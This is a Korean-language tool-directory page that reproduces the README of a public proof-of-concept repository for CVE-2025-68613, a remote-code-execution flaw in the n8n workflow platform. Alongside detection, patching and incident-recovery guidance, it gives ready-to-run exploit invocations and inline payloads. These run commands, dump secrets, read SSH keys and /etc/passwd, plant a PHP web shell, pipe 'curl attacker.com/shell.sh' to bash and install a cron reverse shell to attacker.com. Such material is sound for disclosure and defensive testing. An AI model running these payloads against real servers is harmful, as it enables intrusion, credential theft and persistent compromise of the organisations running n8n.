Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-68613-POC — 공개 PoC + 스캐너 및 CVE-2025-68613에 대한 연구: n8n 워크플로 자동화의 표현식 삽입을 통한 치명적인 RCE (CVSS 10.0). 탐지 도구, 전체 익스플로잇 및 복구 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/thestingr/cve-2025-68613-poc
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingPapers & ResearchLearning & EducationRed TeamingPayload Development
2638개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
thestingr/cve-2025-68613-poc

CVE-2025-68613-POC

공개 PoC + 스캐너 및 CVE-2025-68613에 대한 연구: n8n 워크플로 자동화의 표현식 삽입을 통한 치명적인 RCE (CVSS 10.0). 탐지 도구, 전체 익스플로잇 및 복구 지침을 포함합니다.

저장소 보기

🚨 CVE-2025-68613: n8n의 심각한 RCE 취약점

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

목차

  1. 개요
  2. n8n이란?
  3. 취약점 기본
  4. 기술적 세부 사항
  5. 영향받는 버전
  6. 악용 메커니즘
  7. 실제 영향
  8. 탐지 방법
  9. 수정 및 완화
  10. 리소스 및 참고 자료

개요

CVE-2025-68613은 인기 있는 오픈 소스 워크플로우 자동화 플랫폼인 n8n에서 발견된 심각한 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있게 하여, 잠재적으로 시스템 전체가 손상될 수 있습니다.

빠른 사실

  • CVE ID: CVE-2025-68613
  • CVSS 점수: 9.9 - 10.0 (Critical)
  • 취약점 유형: 표현식 주입 → 원격 코드 실행
  • CWE: CWE-913 (동적으로 관리되는 코드 리소스에 대한 부적절한 제어)
  • 공격 경로: 네트워크
  • 인증 필요: 예 (낮은 권한 - 관리자 액세스 불필요) |- 상태: 개념 증명 사용 가능 (v1.121.0에서 작동 확인됨)

n8n이란?

n8n은 사용자가 다음을 수행할 수 있는 오픈 소스 워크플로우 자동화 플랫폼입니다:

  • 다양한 API, 데이터베이스 및 서비스 연결
  • 반복적인 비즈니스 프로세스 자동화
  • 광범위한 코딩 없이 복잡한 워크플로우 생성
  • 온프레미스 또는 클라우드에 배포

n8n이 중요한 인프라인 이유

조직은 n8n을 사용하여:

  • 데이터베이스를 클라우드 서비스와 통합
  • 데이터 처리 파이프라인 자동화
  • CRM, ERP 및 내부 시스템 연결
  • 민감한 데이터 및 API 자격 증명 관리

IT 인프라에서의 이러한 핵심 역할로 인해 취약점은 특히 위험하며, 공격자에게 전체 네트워크 및 민감한 데이터에 대한 액세스를 제공할 수 있습니다.


이 저장소의 도구

이 저장소에는 취약점 탐지 및 악용 테스트를 위한 즉시 사용 가능한 도구가 포함되어 있습니다:

1. 스캐너: cve-2025-68613-scanner.py

목적: 취약한 n8n 인스턴스를 악용하지 않고 안전하게 탐지

특징:

  • HTTP 응답에서 수동 버전 탐지
  • 인증 불필요
  • 페이로드 실행 없음
  • 여러 일반 경로 확인 (/, /rest/settings, /healthz, /api/v1/health)
  • 승인된 보안 평가에 안전

사용법:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

root@kitploit:~
**Output**:
- Exit code 0: 취약하지 않음
- Exit code 1: 버전 확인 불가 (패치되었거나 숨겨졌을 수 있음)
- Exit code 2: 취약한 버전 감지됨

### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Purpose**: 자동 취약점 탐지 및 기본 표현식 평가 테스트

**Features**:
- 유효한 인증 토큰 필요
- 표현식 삽입 기능 테스트
- Node.js 전역 컨텍스트(process.platform) 읽기 시도
- RCE 벡터 검증을 위한 테스트 워크플로 생성
- CVSS 10.0 치명적 심각도 분류

**Usage**:

nuclei -t CVE-2025-68613.yaml -u <target_url> -H "Authorization: Bearer "

root@kitploit:~
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
```
### 3. 전체 익스플로잇: `exploit_cve-2025-68613.py`
**목적**: 여러 공격 페이로드를 포함한 완전한 개념 증명 익스플로잇

**기능**:
- 전체 인증 처리
- 여러 익스플로잇 페이로드:
  - **info**: 시스템 정보 수집 (OS, 아키텍처, Node.js 버전, 현재 사용자)
  - **cmd**: 임의의 시스템 명령어 실행
  - **env**: 모든 환경 변수 추출 (자격 증명, API 키, 비밀 등 노출)
  - **read**: 파일시스템에서 민감한 파일 읽기 (SSH 키, 설정 파일 등)
  - **write**: 파일시스템에 파일 쓰기 (지속성, 백도어 등)
  - **revshell**: 대화형 액세스를 위한 리버스 셸 연결 설정
- 자동 워크플로 정리
- 오류 처리 및 상태 보고

**요구 사항**:
- 유효한 n8n 사용자 자격 증명 (이메일/비밀번호)
- Python 3.6+ 및 requests 라이브러리
- 대상 n8n 인스턴스에 대한 네트워크 액세스

**설치**:```bash
pip install requests
chmod +x exploit_cve-2025-68613.py
```
**사용 예시**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
```
**작동 방식**:

1. 제공된 자격 증명을 사용하여 n8n에 인증
2. 표현식 주입 페이로드가 포함된 악성 워크플로우 생성
3. 페이로드가 `this.constructor.constructor()`를 사용하여 표현식 샌드박스 탈출
4. `process.platform` 또는 기타 Node.js API를 통해 페이로드 실행
5. 워크플로우 실행 결과 검색
6. 테스트 워크플로우를 삭제하여 정리

**종료 코드**:
- 0: 성공적인 익스플로잇
- 1: 인증 또는 익스플로잇 실패

---

## 취약점 기본 사항

### 문제는 무엇인가?

간단히 말하면: **n8n은 사용자가 워크플로우에서 표현식을 작성하여 데이터를 동적으로 처리할 수 있도록 합니다. 그러나 이러한 표현식은 적절한 샌드박싱 없이 평가되어, 공격자가 의도된 실행 컨텍스트를 벗어나 서버에서 임의 코드를 실행할 수 있습니다.**

### 핵심 문제

n8n에서 워크플로우를 생성할 때 "표현식"을 사용하여 데이터를 조작할 수 있습니다. 이러한 표현식은 제한된 환경에서 실행되어야 합니다. 그러나 이 취약점은 이러한 표현식이 기본 시스템에 접근할 수 있음을 보여주며, 공격자가 다음을 수행할 수 있습니다:

1. 시스템 명령 실행
2. 서버의 파일 읽기/쓰기
3. 환경 변수 탈취 (API 키, 비밀번호, 시크릿)
4. 데이터 수정 또는 삭제
5. 장기 접근을 위한 지속성 확보

### 왜 위험한가

- **낮은 진입 장벽**: 사용자 로그인만 필요 (특별한 관리자 권한 불필요)
- **광범위한 적용 가능성**: 많은 조직에서 비기술적 사용자가 워크플로우를 생성하도록 허용
- **높은 영향**: n8n 프로세스의 전체 권한으로 실행
- **데이터 접근**: n8n이 접근할 수 있는 모든 데이터에 접근 가능 (데이터베이스, API, 자격 증명)
- **네트워크 위치**: n8n은 종종 중요 인프라의 중심에 위치하여, 측면 이동 가능

---

## 기술 세부 사항

### 취약점 작동 방식

#### 1단계: 워크플로우 표현식 평가
사용자가 n8n에서 워크플로우를 생성할 때, 표현식을 사용하여 데이터를 처리할 수 있습니다:```
Input: User creates a workflow with an expression
n8n Expression Engine: Evaluates the expression
Expected Output: Processed data
Actual Output (Vulnerable): Expression execution context not isolated from runtime
```
#### 단계 2: 표현식 삽입
공격자는 의도된 샌드박스를 탈출하는 악의적인 표현식을 제작합니다:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
```
#### 3단계: 코드 실행
표현식이 적절한 격리 없이 평가되어 공격자가 다음을 수행할 수 있게 됩니다:
- 시스템 함수 호출
- 셸 명령 실행
- 파일 시스템 접근
- 환경 변수 읽기

### 근본 원인

이 취약점은 표현식 평가 엔진의 **불충분한 샌드박싱**에서 비롯됩니다. n8n 팀은 다음 컨텍스트에서 표현식을 평가했습니다:
- `require()` 또는 유사한 모듈 로딩 함수에 대한 접근 허용
- 시스템 API 접근을 적절히 제한하지 않음
- 표현식 구문을 검증하거나 필터링하지 않음
- 프로토타입 오염 공격을 방지하지 않음
- 실행 환경을 기본 Node.js 런타임으로부터 격리하지 않음

### 코드 실행 경로```
User Input (Workflow Expression)
    ↓
Expression Parser
    ↓
Evaluation Engine (VULNERABLE - Not Sandboxed)
    ↓
Direct Access to Node.js Runtime
    ↓
System Command Execution / File Access / Credential Theft
```
---

## 영향받는 버전

### 취약 버전 범위

다음 n8n 버전들 **0.211.0**부터 다음 버전까지 취약합니다:
- `0.211.0` → `1.120.3`
- `1.121.0`

### 패치된 버전

취약점은 다음 버전에서 수정되었습니다:
- ✅ `1.120.4` 및 이후 (1.120.x 브랜치)
- ✅ `1.121.1` 및 이후 (1.121.x 브랜치)
- ✅ `1.122.0` 및 모든 최신 버전

### 버전 확인 방법```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version
```
---

## 테스트된 버전 및 호환성

### 확인된 작동
- **n8n v1.121.0**: ✅ 완전히 악용 가능 (RCE 확인, 표현식 주입 작동)
- **n8n v0.211.0 - v1.120.3**: ✅ NVD 기준 취약 범위 내 (개별 테스트되지 않음)

### 알려진 문제
- **REST 실행 제한**: `/rest/workflows/{id}/run` 엔드포인트가 v1.121.0에서 HTTP 500 오류 반환
  - **해결 방법**: 표현식 주입이 완벽히 작동, RCE 확인됨:
    1. UI에서 "테스트 단계" 버튼 수동 클릭 (작동 확인)
    2. 워크플로우 출력 캡처
  - **이는 API 제한이며 익스플로잇 버그가 아님**

### 테스트되지 않음
- **n8n v0.212.0+**: 문서화된 취약 범위 밖, 패치되었을 가능성 높음 (GitHub 이슈 #1 참조)
- **Windows Server 배포**: Windows 특화 환경에 대한 제한적인 테스트 데이터

### 버전 지원 설명
익스플로잇은 NVD에 문서화된 취약 범위를 대상으로 설계되었습니다:
- **확인된 취약 버전**: 0.211.0 ~ 1.120.3, 추가로 1.121.0
- **패치된 버전**: 1.120.4, 1.121.1, 1.122.0 이상

이 범위를 벗어난 버전을 테스트할 경우 성공이 보장되지 않습니다.

---

## 악용 메커니즘

### 공격자는 무엇을 할 수 있나요?

인증된 사용자(또는 유효한 자격 증명을 가진 공격자)가 이 취약점을 악용하면 다음과 같은 작업을 수행할 수 있습니다:

#### 1. 임의 시스템 명령 실행```javascript
${require('child_process').execSync('whoami').toString()}
// Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()}
// Downloads and executes a shell script
```
#### 2. 서버에서 파일 읽기```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
```
#### 3. 환경 변수 읽기```javascript
${Object.keys(process.env).join(', ')}
// Lists all environment variables

${process.env.DATABASE_PASSWORD}
// Extracts specific secrets
```
#### 4. 악성 파일 작성```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
```
#### 5. 연결된 서비스 접근```javascript
// Access workflow credentials (stored API keys, passwords)
// Modify or view connected databases
// Exfiltrate data from all integrated systems
```
#### 6. 지속성 확보```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
```
### 공격 시나리오 예시

**실제 시나리오: n8n을 사용하는 회사**

1. **공격자가 자격 증명 획득**: 피싱, 자격 증명 재사용 또는 취약한 비밀번호를 통해
2. **n8n에 로그인**: 합법적인 사용자 계정 사용
3. **"무해한" 워크플로우 생성**: 데이터 처리를 위한 것이라고 주장
4. **악성 표현식 주입**: 워크플로우 단계에 익스플로잇 숨김
5. **코드 실행**: n8n 프로세스 권한으로 명령 실행
6. **데이터 유출**: API 키, 데이터베이스 자격 증명, 고객 데이터 탈취
7. **지속성 확보**: 백도어 설치, 새 관리자 계정 생성
8. **측면 이동**: 탈취한 자격 증명을 사용하여 다른 시스템 접근

---

## 실제 영향

### 기밀성 영향 (높음)
- 워크플로우에서 처리하는 민감한 데이터에 대한 접근
- API 키, 데이터베이스 비밀번호, 암호화 키 추출
- 구성 파일, 로그, 시크릿 읽기
- 데이터 도용을 통한 잠재적인 GDPR/규정 준수 위반

### 무결성 영향 (높음)
- 기존 워크플로우를 수정하여 운영 방해
- 데이터를 손상시키는 악성 워크플로우 주입
- 다운스트림 시스템에 영향을 미치는 워크플로우 출력 변경
- 지속적인 접근을 위한 백도어 설치

### 가용성 영향 (높음)
- 중요 워크플로우 삭제로 업무 중단 유발
- 서비스 충돌을 초래하는 시스템 파일 수정
- 악성 자동화를 통한 리소스 고갈
- 시스템 복원을 대가로 요금을 요구하는 랜섬 공격

### 비즈니스 영향 예시

**제조 회사**
- n8n이 주문 처리 및 재고 관리를 자동화
- 공격자가 고객 주문 및 공급업체 정보를 유출
- 워크플로우를 수정하여 고객에게 잘못된 제품 발송
- 결과: 고객 신뢰 상실, 법적 책임, 운영 중단

**금융 서비스**
- n8n이 은행 API 및 결제 처리를 통합
- 공격자가 API 자격 증명 및 인증 토큰을 탈취
- 거래를 리디렉션하거나 사기 기록 생성
- 결과: 규제 제재, 고객 보상, 평판 손상

**의료 기관**
- n8n이 환자 데이터 통합 및 보고를 처리
- 공격자가 보호된 건강 정보(PHI)에 접근
- 의료 기록을 수정하거나 중요 알림 차단
- 결과: HIPAA 위반, 환자 피해, 기관 책임

---

## 탐지 방법

### 방법 1: 버전 탐지 스캐너

**안전하고 익스플로잇하지 않는 탐지 스크립트** (원본 저장소에 포함됨):```bash
python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
```
**출력 예제**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
```
### 방법 2: Nuclei 템플릿 사용

**Nuclei를 이용한 자동 스캔**:```bash
# Single target
nuclei -t CVE-2025-68613.yaml -u http://target:5678

# Multiple targets from file
nuclei -t CVE-2025-68613.yaml -l targets.txt
```
**작동 방식**:
1. 일반적인 n8n 경로에 HTTP 요청을 보냄
2. HTML/헤더에서 버전 메타데이터 추출
3. 존재하는 경우 base64로 인코딩된 구성 디코딩
4. 취약한 범위와 버전 비교
5. 인스턴스가 취약한지 보고

### 방법 3: 수동 배너 그래빙```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
```
### 방법 4: 네트워크 정찰```bash
# Find n8n instances using Shodan
shodan search "n8n" --limit 10

# Use favicon hash detection
nmap -p 5678 --script http-favicon target.com
```
### 침해 지표 (IOCs)

**로그 징후**:
- 워크플로 로그에서 비정상적인 표현식 평가
- 시스템 명령어가 포함된 표현식 오류
- 민감한 파일 접근 (예: /etc/passwd 참조)
- n8n 프로세스에서 예상치 못한 프로세스 생성

**시스템 징후**:
- 서버에 생성된 새로운 사용자 계정
- authorized_keys에 예상치 못한 SSH 키
- 새로운 cron 작업 또는 예약된 작업
- 시스템 파일 수정
- n8n 서버에서의 리버스 셸 연결

---

## 수정 및 완화

### 주요 해결 방법: 즉시 업그레이드

**이것이 취약점에 대한 유일한 완전한 수정 방법입니다.**

#### 1단계: 데이터 백업```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/
```
#### 단계 2: n8n 업데이트

**Docker 사용 (권장)**:```bash
# Pull the latest patched version
docker pull n8nio/n8n:1.122.0  # Or later

# Stop current instance
docker stop n8n-container

# Start with new version
docker run -d --name n8n-patched \
  -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:1.122.0
```
**npm 사용하기**:```bash
# Backup first
npm run export --backup

# Update
npm update n8n

# Or specific version
npm install [email protected]
```
**시스템 패키지 관리자 사용**:```bash
# Debian/Ubuntu
sudo apt update && sudo apt upgrade n8n

# Or manual download
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
```
#### 단계 3: 업데이트 확인```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
```
---

### 임시 완화 조치: 업그레이드 중

**중요**: 이는 취약점을 해결하지 않습니다. 업그레이드를 계획하는 동안 임시 조치로만 사용하세요.

#### 1. 워크플로 권한 제한```
n8n Admin Panel → Users & Permissions
├── Disable "User Can Create Workflows" for non-admin users
├── Restrict "User Can Edit Workflows" to trusted administrators only
├── Review existing user roles and remove unnecessary permissions
└── Audit workflow creators for suspicious accounts
```
#### 2. 워크플로우 변경 모니터링```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
```
#### 3. 네트워크 격리```bash
# Restrict n8n network access
sudo ufw default deny incoming
sudo ufw allow from 192.168.1.0/24 to any port 5678  # Only internal network
sudo ufw enable

# Or using iptables
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
```
#### 4. 최소 권한으로 n8n 실행하기```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
```
#### 5. 강력한 인증 활성화```
n8n Admin Panel → Settings → Authentication
├── Enable 2FA for all accounts
├── Enforce strong password policies
├── Review and disable unnecessary service accounts
├── Implement SSO if available
└── Disable any guest/demo accounts
```
#### 6. 컨테이너화 및 격리```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version
```
#### 7. 정기 감사```bash
# Monitor for suspicious activities
# Check for new files in n8n directories
find /path/to/n8n -type f -mtime -1

# Monitor process activity
ps aux | grep n8n
netstat -tlnp | grep n8n

# Check for unauthorized SSH keys
cat ~/.ssh/authorized_keys

# Review system logs
journalctl -u n8n -n 100
```
---

## 위험 평가 매트릭스

| 시나리오 | 위험 수준 | 가능성 | 영향 | 우선순위 |
|----------|-----------|--------|----------|----------|
| 패치되지 않은 외부 접속 가능 n8n | 치명적 | 높음 | 완전한 손상 | 🔴 긴급 |
| 패치되지 않은 내부 전용 n8n | 높음 | 중간 | 내부자 위협 위험 | 🟠 높음 |
| 패치된 n8n | 낮음 | 낮음 | 해당 없음 | ✅ 해결됨 |
| 패치되지 않음 + 권한 제한 | 중간 | 중간 | 신뢰된 사용자로 제한됨 | 🟡 중간 |

---

## 손상 시 단계별 복구

### 즉시 조치 (첫 1시간)
1. **시스템 격리**: 네트워크 연결 해제
2. **서비스 중지**: `sudo systemctl stop n8n`
3. **로그 보존**: 삭제 전 모든 로그 백업
4. **팀에 알림**: 보안팀 및 관리자에게 통보
5. **범위 평가**: n8n이 접근한 데이터 확인

### 조사 (첫째 날)
1. **감사 로그 검토**: 의심스러운 활동 확인
2. **네트워크 트래픽 분석**: 데이터 유출 확인
3. **파일 변경 확인**: 백도어 설치 여부 확인
4. **사용자 계정 검토**: 새 계정 또는 수정된 계정 확인
5. **자격 증명 감사**: n8n이 사용하는 모든 API 키 및 비밀번호 초기화

### 문제 해결 (2~7일)
1. **전체 시스템 재구축**: 업데이트만 하지 말고 깨끗한 이미지로 재구축
2. **자격 증명 교체**: 모든 비밀번호, API 키, 토큰 초기화
3. **모든 것에 패치 적용**: 연결된 모든 시스템 업데이트
4. **백업에서 복원**: 손상 이전의 깨끗한 백업 사용
5. **보안 감사**: 전체 보안 평가 수행

### 사후 조치 (2주차 이후)
1. **모니터링 구현**: 지속적인 로깅 및 알람 설정
2. **프로세스 변경**: 침해 대응 절차 업데이트
3. **사용자 교육**: 팀에 보안 모범 사례 교육
4. **취약점 스캐닝**: 유사 문제에 대한 정기 스캔
5. **규정 준수 검토**: GDPR, HIPAA 등 모든 규정 충족 확인

---

## 향후 예방

### n8n을 위한 보안 모범 사례

1. **n8n 최신 상태 유지**
   - 가능하면 자동 업데이트 활성화
   - n8n 보안 권고 구독
   - 프로덕션 전 스테이징에서 패치 테스트

2. **접근 제어**
   - 최소 권한 원칙 사용
   - 강력한 비밀번호 및 2FA 요구
   - 엔터프라이즈 배포 시 SSO 구현
   - 정기적인 접근 검토 및 감사

3. **워크플로 관리**
   - 모든 워크플로에 의심스러운 로직 검토
   - 워크플로에 코드 검토 프로세스 도입
   - 중요 워크플로 식별을 위한 명명 규칙 사용
   - 워크플로 정기 백업

4. **자격 증명 관리**
   - 워크플로에 자격 증명 절대 저장 금지
   - 민감 데이터에는 환경 변수 사용
   - 자격 증명 정기 교체
   - 자격 증명 접근 감사

5. **모니터링 및 로깅**
   - 포괄적인 감사 로깅 활성화
   - 비정상 활동 모니터링
   - 의심스러운 작업에 대한 알람 설정
   - 정기적인 로그 검토 및 분석

6. **네트워크 보안**
   - n8n을 격리된 네트워크 세그먼트에서 실행
   - 필요한 서비스에만 네트워크 접근 제한
   - 원격 접근 시 VPN/방화벽 사용
   - 네트워크 트래픽 이상 징후 모니터링

7. **침해 대응**
   - 침해 대응 계획 수립
   - 에스컬레이션 절차 정의
   - 정기적인 보안 훈련 실시
   - 업데이트된 연락처 목록 유지

---

## 문제 해결

### 문제: "종료 코드 1: 인증 또는 악용 실패"

**일반적인 원인**:
1. **잘못된 자격 증명** (가장 일반적)
   - 해결 방법: 먼저 웹 UI 로그인으로 자격 증명 확인
   - 시도: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **사용자에게 워크플로 생성 권한 없음**
   - 해결 방법: 워크플로 생성 권한이 있는 관리자 또는 사용자 계정 사용
   - 확인: 관리자 패널 → 사용자 및 권한

3. **버전이 패치됨** (버전 > 1.121.0)
   - 해결 방법: 먼저 스캐너로 버전 확인: `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - 예상: 스캐너는 "취약" 보고 (종료 코드 2)

4. **API 구조가 변경됨** (이전/이후 버전에서 다를 수 있음)
   - 해결 방법: NVD 권고 확인: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - 문서화된 범위를 벗어난 버전 테스트 시 가장 가능성 높음

5. **네트워크/방화벽 차단**
   - 해결 방법: 연결 확인: `curl http://target:5678/`
   - 확인: 방화벽 규칙, 프록시 설정, SSL 인증서

### 문제: 스캐너가 오탐지 보고 (잘못된 버전 감지)

**v1.02에서 수정됨**: 스캐너는 이제 단순 정규식 대신 meta 태그에서 base64 디코딩된 Sentry 구성을 사용합니다. 이로 인해 Node.js 버전이 n8n 버전으로 감지되는 오탐지가 제거되었습니다.

**변경 사항**:
- 기본 소스: `<meta name="n8n:config:sentry" content="[BASE64]">` 추출 및 디코딩
- 대체: Sentry 구성을 사용할 수 없는 경우에만 정규식 사용
- 결과: 오탐지 없는 정확한 버전 감지

**v1.02 스캐너 사용법**:```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
```
### 문제: REST 실행 시 500 에러 발생

**이는 익스플로잇의 버그가 아닙니다 - API 제한 사항입니다.**

**설명**:
- `/rest/workflows/{id}/run` 엔드포인트가 n8n v1.121.0에서 HTTP 500을 반환합니다
- 이는 n8n API 설계 제한 사항이며, 익스플로잇 버그가 아닙니다
- 표현식 인젝션은 UI를 통해 여전히 작동합니다

**해결 방법**:
1. 익스플로잇이 악성 표현식으로 워크플로우 생성 ✅ 작동
2. 표현식 평가 및 코드 실행 ✅ 작동 (수동 테스트로 확인됨)
3. UI에서 "테스트 단계" 버튼을 수동으로 클릭하여 표현식 트리거 ✅ 작동
4. 워크플로우 결과에서 출력 읽기 ✅ 작동

**증거**: TryHackMe에서 플래그 획득: `THM{n8n_exposed_workflow}`

---

## 리소스 및 참고 자료

### 공식 소스
- **n8n GitHub 리포지토리**: https://github.com/n8n-io/n8n
- **n8n 보안 권고**: https://github.com/n8n-io/n8n/security/advisories
- **n8n 문서**: https://docs.n8n.io/

### CVE 정보
- **NVD 항목**: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- **CVEDetails**: https://www.cvedetails.com/cve/CVE-2025-68613/
- **CVETodo**: https://cvetodo.com/cve/CVE-2025-68613

### 보안 리소스
- **NIST CWE-913**: https://cwe.mitre.org/data/definitions/913.html
- **OWASP 코드 인젝션**: https://owasp.org/www-community/attacks/Code_Injection
- **OWASP 샌드박스 우회**: https://owasp.org/www-community/attacks/Sandbox_Escape

---

## 요약

**CVE-2025-68613**은 즉각적인 조치가 필요한 치명적인 취약점입니다. 다음과 같은 요소들의 결합이:
- 표현식 인젝션 기능
- 샌드박싱 부재
- 낮은 권한 요구사항
- 넓은 공격 표면 (많은 사용자가 워크플로우 생성)
- IT 인프라에서의 중앙 위치

...이러한 요소들이 이 취약점을 워크플로우 자동화 플랫폼에서 가장 위험한 취약점 중 하나로 만듭니다.

**간단한 해결책**: 즉시 패치된 버전으로 업그레이드하세요. 패치가 제공되는데도 치명적인 RCE에 취약한 상태로 남아 있을 이유는 없습니다.

---

## 문서 버전

|- **버전**: 1.02
|- **생성일**: 2025년 12월 18일
|- **마지막 업데이트**: 2025년 12월 26일
- **상태**: 완료
- **저자**: The StingR / TechSquad Inc.
- **조직**: TechSquad Inc.

---

## 면책 조항

이 문서는 교육 및 공인된 보안 평가 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 소유하지 않은 시스템을 테스트, 평가 또는 접근하기 전에 항상 적절한 권한을 확보하십시오.

---

**⚠️ 기억하세요: 취약한 버전을 실행 중인 경우 즉시 n8n 인스턴스를 업데이트하세요.**
도구 다운로드